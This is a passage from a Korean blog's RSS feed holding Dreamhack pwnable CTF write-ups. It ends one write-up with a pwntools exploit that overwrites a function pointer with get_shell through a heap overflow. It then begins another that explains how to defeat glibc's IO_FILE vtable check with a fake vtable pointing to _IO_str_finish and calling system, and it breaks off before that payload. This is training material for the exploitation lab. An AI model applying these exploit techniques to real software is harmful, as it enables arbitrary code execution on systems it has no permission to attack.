</span></span><span class="line"><span class="cl">   0x40156c &lt;main+199&gt;    ja     main+316                      &lt;main+316&gt;
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl">   0x40156e &lt;main+201&gt;    mov    eax, eax
</span></span><span class="line"><span class="cl">───────────────[ STACK ]───────────────
</span></span><span class="line"><span class="cl">00:0000│ rsp 0x7ffdd3544230 ◂— 0x300000470
</span></span><span class="line"><span class="cl">01:0008│     0x7ffdd3544238 —▸ 0x2500c60 ◂— 0x900000009 /* &#39;\t&#39; */
</span></span><span class="line"><span class="cl">02:0010│     0x7ffdd3544240 —▸ 0x2500c80 ◂— 0x900000009 /* &#39;\t&#39; */
</span></span><span class="line"><span class="cl">03:0018│     0x7ffdd3544248 —▸ 0x2500ca8 ◂— 0x20361
</span></span><span class="line"><span class="cl">04:0020│     0x7ffdd3544250 —▸ 0x2500ca8 ◂— 0x20361
</span></span><span class="line"><span class="cl">05:0028│     0x7ffdd3544258 —▸ 0x402b8d (__libc_csu_init+77) ◂— add rbx, 1
</span></span><span class="line"><span class="cl">06:0030│     0x7ffdd3544260 —▸ 0x2500c40 ◂— 0x900000009 /* &#39;\t&#39; */
</span></span><span class="line"><span class="cl">07:0038│     0x7ffdd3544268 —▸ 0x2500c44 ◂— 0x900000009 /* &#39;\t&#39; */
</span></span><span class="line"><span class="cl">───────────────[ BACKTRACE ]───────────────
</span></span><span class="line"><span class="cl"> ► f 0         0x401553 main+174
</span></span><span class="line"><span class="cl">   f 1   0x7f7eef668840 __libc_start_main+240
</span></span><span class="line"><span class="cl">   f 2         0x400e29 _start+41
</span></span><span class="line"><span class="cl">─────────────────────────────────────────────
</span></span></code></pre></div><p>위 내용을 보면 rax를 call 할때의 rax 값은 0x900000009인 것을 볼 수 있다. 필자가 입력한 9가 들어가 있다. 따라서 힙의 거리를 계산해 해당 힙의 오프셋 만큼 get_shell 주소로 덮으면 쉘을 얻을 수 있을 것 같다.</p>
<p>이 부분이 어떤 값이 원래 있었는지 찾아보니 메뉴를 프린트 해주는 함수 부분이다. 이때 copy를 통해서 heap overflow가 발생하고 print_menu 함수의 주소를 get_shell() 함수 주소로 덮어 뜨면 공격에 성공한다.</p>
<p>오프셋을 계산하면 9만큼 떨어져 있으며 get_shell 함수 주소를 int 형식으로 주었다. 익스플로잇 코드는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">&#39;amd64&#39;</span><span class="p">,</span> <span class="n">os</span><span class="o">=</span><span class="s1">&#39;linux&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#context.log_level = &#39;debug&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#p = remote(&#34;host3.dreamhack.games&#34;, 18225);</span>
</span></span><span class="line"><span class="cl"><span class="c1">#p = process(&#34;./iofile_vtable_check&#34;, env={&#39;LD_PRELOAD&#39;:&#39;./libc.so.6&#39;})</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s2">&#34;./cpp_container_1&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s2">&#34;./cpp_container_1&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#libc = ELF(&#34;./libc.so.6&#34;)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">get_shell</span> <span class="o">=</span> <span class="mh">0x401041</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;[*] select menu: &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;2&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Input container1 size</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;9&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Input container2 size</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;1&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;[*] select menu: &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;1&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">11</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;input: &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">get_shell</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;[*] select menu: &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;3&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span></code></pre></div><p>정말 무작정 이것저것 해보다가 답이 없어서 하나하나씩 디버깅 하다가 찾았다. 생각보다 어이없이 풀렸던 재밌는 문제였다.</p>
]]></content:encoded></item><item><title>[Dreamhack] PWN iofile_vtable_check</title><link>https://dig06161.github.io/2023/03/15/dreamhack-iofile_vtable_check/</link><pubDate>Wed, 15 Mar 2023 10:00:00 +0900</pubDate><guid>https://dig06161.github.io/2023/03/15/dreamhack-iofile_vtable_check/</guid><description>드림핵 포너블 iofile_vtable_check 문제풀이</description><content:encoded><![CDATA[<p>이번 문제는 저번에 올라왔던 iofile_vtable에서 vtable_check 함수가 추가된 ubuntu 18.04 문제다. 이 함수는 _libc_IO_vtables 영역에 vtable이 존재하는지 확인하고 없다면 포인터를 추가로 확인한다. 따라서 iofile_vtable을 통해 익스플로잇 하기 위해서는 _libc_IO_vtables 영역에 있는 익스플로잇터플 한 함수를 사용해야 한다.</p>
<p>우선 소스코드를 먼저 살펴보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="c1">// gcc -o vtable_bypass vtable_bypass.c -no-pie 
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;signal.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;dlfcn.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="n">FILE</span> <span class="o">*</span> <span class="n">fp</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">alarm_handler</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">puts</span><span class="p">(</span><span class="s">&#34;TIME OUT&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">initialize</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">signal</span><span class="p">(</span><span class="n">SIGALRM</span><span class="p">,</span> <span class="n">alarm_handler</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">alarm</span><span class="p">(</span><span class="mi">60</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">initialize</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">fp</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="s">&#34;/dev/urandom&#34;</span><span class="p">,</span> <span class="s">&#34;r&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">printf</span><span class="p">(</span><span class="s">&#34;stdout: %p</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">stdout</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">printf</span><span class="p">(</span><span class="s">&#34;Data: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">fp</span><span class="p">,</span> <span class="mi">300</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">long</span><span class="o">*</span><span class="p">)((</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span> <span class="n">fp</span> <span class="o">+</span> <span class="mh">0xe0</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">fclose</span><span class="p">(</span><span class="n">fp</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>main함수를 보면 fp 값을 dev/urandom 읽기 권한으로 할당한다. 이후 stdout의 주소값을 출력하고 read 함수를 통해 fp에 300자 문자열을 입력 받는다. 이후 입력받은 문자열중 0xe0위치에 있는 8바이트 값이 0이 아니면 exit함수가 동작하고 0이면 fp를 인자로 하여 fclose를 호출하고 코드가 종료한다.</p>
<p>우선 stdout의 주소가 주어지므로 이를 통해 libc base와 system함수, binsh같은 필요한 함수들을 전부 찾아준다.</p>
<p>일단 read함수를 통해서 300자를 받아드릴 수 있어 vtable 위치 이상의 값을 오버라이트 할 수 있다.</p>
<p>이제 vtable을 조작해야 한다. vtable_check 함수가 있어 단순히 메모리 주소를 vtable로 할당하는 방법은 사용하지 못할 것이다. 해당 기법을 우회하기 위해 드림핵 강의를 다시 살펴보자. 드림핵에서는 _IO_str_jumps함수에 있는 _IO_str_overflow를 이용해 공격하는 방법이 설명되어 있다.</p>
<p>우선 _IO_str_jumps 구조체를 보자</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="k">const</span> <span class="k">struct</span> <span class="nc">_IO_jump_t</span> <span class="n">_IO_str_jumps</span> <span class="n">libio_vtable</span> <span class="o">=</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">JUMP_INIT_DUMMY</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="n">JUMP_INIT</span><span class="p">(</span><span class="n">finish</span><span class="p">,</span> <span class="n">_IO_str_finish</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">  <span class="n">JUMP_INIT</span><span class="p">(</span><span class="n">overflow</span><span class="p">,</span> <span class="n">_IO_str_overflow</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">  <span class="n">JUMP_INIT</span><span class="p">(</span><span class="n">underflow</span><span class="p">,</span> <span class="n">_IO_str_underflow</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">  <span class="n">JUMP_INIT</span><span class="p">(</span><span class="n">uflow</span><span class="p">,</span> <span class="n">_IO_default_uflow</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">  <span class="n">JUMP_INIT</span><span class="p">(</span><span class="n">pbackfail</span><span class="p">,</span> <span class="n">_IO_str_pbackfail</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">  <span class="n">JUMP_INIT</span><span class="p">(</span><span class="n">xsputn</span><span class="p">,</span> <span class="n">_IO_default_xsputn</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">  <span class="n">JUMP_INIT</span><span class="p">(</span><span class="n">xsgetn</span><span class="p">,</span> <span class="n">_IO_default_xsgetn</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">  <span class="n">JUMP_INIT</span><span class="p">(</span><span class="n">seekoff</span><span class="p">,</span> <span class="n">_IO_str_seekoff</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">  <span class="n">JUMP_INIT</span><span class="p">(</span><span class="n">seekpos</span><span class="p">,</span> <span class="n">_IO_default_seekpos</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">  <span class="n">JUMP_INIT</span><span class="p">(</span><span class="n">setbuf</span><span class="p">,</span> <span class="n">_IO_default_setbuf</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">  <span class="n">JUMP_INIT</span><span class="p">(</span><span class="n">sync</span><span class="p">,</span> <span class="n">_IO_default_sync</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">  <span class="n">JUMP_INIT</span><span class="p">(</span><span class="n">doallocate</span><span class="p">,</span> <span class="n">_IO_default_doallocate</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">  <span class="n">JUMP_INIT</span><span class="p">(</span><span class="n">read</span><span class="p">,</span> <span class="n">_IO_default_read</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">  <span class="n">JUMP_INIT</span><span class="p">(</span><span class="n">write</span><span class="p">,</span> <span class="n">_IO_default_write</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">  <span class="n">JUMP_INIT</span><span class="p">(</span><span class="n">seek</span><span class="p">,</span> <span class="n">_IO_default_seek</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">  <span class="n">JUMP_INIT</span><span class="p">(</span><span class="n">close</span><span class="p">,</span> <span class="n">_IO_default_close</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">  <span class="n">JUMP_INIT</span><span class="p">(</span><span class="n">stat</span><span class="p">,</span> <span class="n">_IO_default_stat</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">  <span class="n">JUMP_INIT</span><span class="p">(</span><span class="n">showmanyc</span><span class="p">,</span> <span class="n">_IO_default_showmanyc</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">  <span class="n">JUMP_INIT</span><span class="p">(</span><span class="n">imbue</span><span class="p">,</span> <span class="n">_IO_default_imbue</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span></code></pre></div><br>
이 기법은 다음과 같은 구문을 통해 발생하는 취약점이다.
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="n">new_buf</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span> <span class="p">(</span><span class="o">*</span><span class="p">((</span><span class="n">_IO_strfile</span> <span class="o">*</span><span class="p">)</span> <span class="n">fp</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">_s</span><span class="p">.</span><span class="n">_allocate_buffer</span><span class="p">)</span> <span class="p">(</span><span class="n">new_size</span><span class="p">);</span>
</span></span></code></pre></div><p>_s._allocate_buffer에 들어있는 함수가 (new_size)를 인자로 하여 실행되는 것을 볼 수 있다. _s._allocate_buffer의 위치는 fp로 부터 +0xe0 부분이다. 바이너리 소스코드를 살펴보면 fp+0xe0 부분이 0이 아니면 exit을 실행한다. 해당 부분에 system 함수가 들어가야 하는데 exit이 실행되어 해당 부분을 오버라이트 하는 방법은 힘들어 보인다.</p>
<p>구글에서 _IO_FILE vtable check bypass에 대해서 검색해 봤다. 일단 총 두가지 방법이 가능했다. 첫번째는 드림핵 강의에 나왔던 _allocate_buffer를 이용해 system을 콜하는 방법이다. 두번째 방법은 _IO_str_jumps의 _IO_str_finish 함수를 이용하는 방법이다.</p>
<p>해당 함수의 소스코드를 살펴보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">_IO_str_finish</span> <span class="p">(</span><span class="n">_IO_FILE</span> <span class="o">*</span><span class="n">fp</span><span class="p">,</span> <span class="kt">int</span> <span class="n">dummy</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">fp</span><span class="o">-&gt;</span><span class="n">_IO_buf_base</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="p">(</span><span class="n">fp</span><span class="o">-&gt;</span><span class="n">_flags</span> <span class="o">&amp;</span> <span class="n">_IO_USER_BUF</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="p">(((</span><span class="n">_IO_strfile</span> <span class="o">*</span><span class="p">)</span> <span class="n">fp</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">_s</span><span class="p">.</span><span class="n">_free_buffer</span><span class="p">)</span> <span class="p">(</span><span class="n">fp</span><span class="o">-&gt;</span><span class="n">_IO_buf_base</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">fp</span><span class="o">-&gt;</span><span class="n">_IO_buf_base</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">_IO_default_finish</span> <span class="p">(</span><span class="n">fp</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>위 코드를 보면 (((_IO_strfile *) fp)-&gt;_s._free_buffer) (fp-&gt;_IO_buf_base); 구문이 있다 fp의 _IO_buf_base의 값을 인자로 하여 _s._free_buffer에 있는 함수를 실행하게 된다.</p>
<p>위 코드로 익스플로잇을 작성하려면 조건문을 통과 해야한다. fp-&gt;_IO_buf_base는 공격에 사용할 인자를 셋팅하기 위해 사용되므로 필히 값이 들어있어야 한다. fp-&gt;_IO_buf_base 값과 !(fp-&gt;_flags &amp; _IO_USER_BUF)를 &amp;&amp;연산해 참이면 값을 실행한다. _flag의 경우 0으로 설정했고 &amp; 연산에 의해서 () 내부의 값은 0으로 설정되고 ! 구문을 통해 1로 설정된다. 따라서 별도의 설정 없이 _IO_buf_base에 인자를 넣고 _free_buffer에 system 함수 주소를 넣으면 익스플로잇이 가능할 것이다.</p>
<p>그럼 _s._free_buffer는 뭘까? ((_IO_strfile *) fp)-&gt;_s._free_buffer 에서 fp는 _IO_strfile 구조로 케스팅 되었고, 변경된 구조에서 _s를 호출했다. _IO_strfile의 구조체는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="k">typedef</span> <span class="k">struct</span> <span class="nc">_IO_strfile_</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">struct</span> <span class="nc">_IO_streambuf</span> <span class="n">_sbf</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">struct</span> <span class="nc">_IO_str_fields</span> <span class="n">_s</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span> <span class="n">_IO_strfile</span><span class="p">;</span>
</span></span></code></pre></div><p>구조체 안에 _s는 _IO_str_fields로 선언되어 있다. 그럼 이 _IO_str_fields를 살펴보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="k">struct</span> <span class="nc">_IO_str_fields</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">_IO_alloc_type</span> <span class="n">_allocate_buffer</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">_IO_free_type</span> <span class="n">_free_buffer</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span></code></pre></div><p>어디서 많이 본 이름이 보인다. 기존 드림핵 강의에서 _IO_str_overflow를 이용한 vtable check bypass 기법을 사용했다. 이때 system 함수가 들어갔던 부분이 _s._allocate_buffer 부분이다.</p>
<p>우리가 _s._allocate_buffer에 system함수를 오버라이트 할수 없던 이유는 fp의 +0xe0부분이 0인지 검증하는 코드가 있었기 때문이다. 하지만 _IO_str_finish를 이용하게 되면 _allocate_buffer 다음에 있는 _free_buffer 부분에 system 함수 주소가 들어가게 된다. 따라서 0xe0부분엔 0을 그 다음 부분을 system 함수로 준다.</p>
<p>이제 필요한 부분은 다 찾았고 fake vtable을 어떻게 구성할지 고민해 봐야한다.</p>
<p>일단 fake vtable을 통해서 _IO_str_jumps의 IO_str_finish 함수를 실행시켜야 한다. 한가지 다행인 점은 _IO_str_jumps 구조체와 _IO_file_jumps 구조체는 동일하다. 이는 오프셋이 동일한 것을 의미한다. 그리고 _IO_str_jumps 구조체의 위치는 _IO_file_jumps에서 +0xc0에 있다. _IO_str_jumps구조체가 gdb에 찍히지 않아 찾아보니 _IO_file_jumps에서 +0xc0 해주면 된다고 한다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">p</span> <span class="o">&amp;</span><span class="n">_IO_file_jumps</span>
</span></span><span class="line"><span class="cl"><span class="err">$</span><span class="mi">11</span> <span class="o">=</span> <span class="p">(</span><span class="o">&lt;</span><span class="n">data</span> <span class="n">variable</span><span class="p">,</span> <span class="n">no</span> <span class="n">debug</span> <span class="n">info</span><span class="o">&gt;</span> <span class="o">*</span><span class="p">)</span> <span class="mh">0x7ff0129e82a0</span> <span class="o">&lt;</span><span class="n">_IO_file_jumps</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">x</span><span class="o">/</span><span class="mi">32</span><span class="n">gx</span> <span class="mh">0x7ff0129e82a0</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ff0129e82a0</span> <span class="o">&lt;</span><span class="n">_IO_file_jumps</span><span class="o">&gt;:</span>        <span class="mh">0x0000000000000000</span>      <span class="mh">0x0000000000000000</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ff0129e82b0</span> <span class="o">&lt;</span><span class="n">_IO_file_jumps</span><span class="o">+</span><span class="mi">16</span><span class="o">&gt;:</span>     <span class="mh">0x00007ff01268c330</span>      <span class="mh">0x00007ff01268d300</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ff0129e82c0</span> <span class="o">&lt;</span><span class="n">_IO_file_jumps</span><span class="o">+</span><span class="mi">32</span><span class="o">&gt;:</span>     <span class="mh">0x00007ff01268d020</span>      <span class="mh">0x00007ff01268e3c0</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ff0129e82d0</span> <span class="o">&lt;</span><span class="n">_IO_file_jumps</span><span class="o">+</span><span class="mi">48</span><span class="o">&gt;:</span>     <span class="mh">0x00007ff01268fc50</span>      <span class="mh">0x00007ff01268b930</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ff0129e82e0</span> <span class="o">&lt;</span><span class="n">_IO_file_jumps</span><span class="o">+</span><span class="mi">64</span><span class="o">&gt;:</span>     <span class="mh">0x00007ff01268b590</span>      <span class="mh">0x00007ff01268ab90</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ff0129e82f0</span> <span class="o">&lt;</span><span class="n">_IO_file_jumps</span><span class="o">+</span><span class="mi">80</span><span class="o">&gt;:</span>     <span class="mh">0x00007ff01268e990</span>      <span class="mh">0x00007ff01268a850</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ff0129e8300</span> <span class="o">&lt;</span><span class="n">_IO_file_jumps</span><span class="o">+</span><span class="mi">96</span><span class="o">&gt;:</span>     <span class="mh">0x00007ff01268a6d0</span>      <span class="mh">0x00007ff01267e100</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ff0129e8310</span> <span class="o">&lt;</span><span class="n">_IO_file_jumps</span><span class="o">+</span><span class="mi">112</span><span class="o">&gt;:</span>    <span class="mh">0x00007ff01268b910</span>      <span class="mh">0x00007ff01268b190</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ff0129e8320</span> <span class="o">&lt;</span><span class="n">_IO_file_jumps</span><span class="o">+</span><span class="mi">128</span><span class="o">&gt;:</span>    <span class="mh">0x00007ff01268a910</span>      <span class="mh">0x00007ff01268a840</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ff0129e8330</span> <span class="o">&lt;</span><span class="n">_IO_file_jumps</span><span class="o">+</span><span class="mi">144</span><span class="o">&gt;:</span>    <span class="mh">0x00007ff01268b180</span>      <span class="mh">0x00007ff01268fdd0</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ff0129e8340</span> <span class="o">&lt;</span><span class="n">_IO_file_jumps</span><span class="o">+</span><span class="mi">160</span><span class="o">&gt;:</span>    <span class="mh">0x00007ff01268fde0</span>      <span class="mh">0x0000000000000000</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">x</span><span class="o">/</span><span class="mi">32</span><span class="n">gx</span> <span class="mh">0x7ff0129e82a0</span><span class="o">+</span><span class="mh">0xc0</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ff0129e8360</span><span class="o">:</span> <span class="mh">0x0000000000000000</span>      <span class="mh">0x0000000000000000</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ff0129e8370</span><span class="o">:</span> <span class="mh">0x00007ff012690300</span>      <span class="mh">0x00007ff01268ff60</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ff0129e8380</span><span class="o">:</span> <span class="mh">0x00007ff01268ff00</span>      <span class="mh">0x00007ff01268e3c0</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ff0129e8390</span><span class="o">:</span> <span class="mh">0x00007ff0126902e0</span>      <span class="mh">0x00007ff01268e420</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ff0129e83a0</span><span class="o">:</span> <span class="mh">0x00007ff01268e5d0</span>      <span class="mh">0x00007ff012690430</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ff0129e83b0</span><span class="o">:</span> <span class="mh">0x00007ff01268e990</span>      <span class="mh">0x00007ff01268e860</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ff0129e83c0</span><span class="o">:</span> <span class="mh">0x00007ff01268ec50</span>      <span class="mh">0x00007ff01268ea00</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ff0129e83d0</span><span class="o">:</span> <span class="mh">0x00007ff01268fdb0</span>      <span class="mh">0x00007ff01268fdc0</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ff0129e83e0</span><span class="o">:</span> <span class="mh">0x00007ff01268fd90</span>      <span class="mh">0x00007ff01268ec50</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ff0129e83f0</span><span class="o">:</span> <span class="mh">0x00007ff01268fda0</span>      <span class="mh">0x00007ff01268fdd0</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ff0129e8400</span><span class="o">:</span> <span class="mh">0x00007ff01268fde0</span>      <span class="mh">0x0000000000000000</span>
</span></span></code></pre></div><p>gdb 상에서는 심볼이 없지만 앞에 16바이트 더미 값이 있고 그 뒤 형식이 동일한 것을 볼 수있다. fclose() 함수를 통해 _IO_str_finish를 실행 시켜야 하므로 _IO_file_jumps에서 +0xc0를 더한 값을 fake vtable로 주었다.</p>
<p>이를 통해 페이로드를 구성하면 다음과 같다.</p>
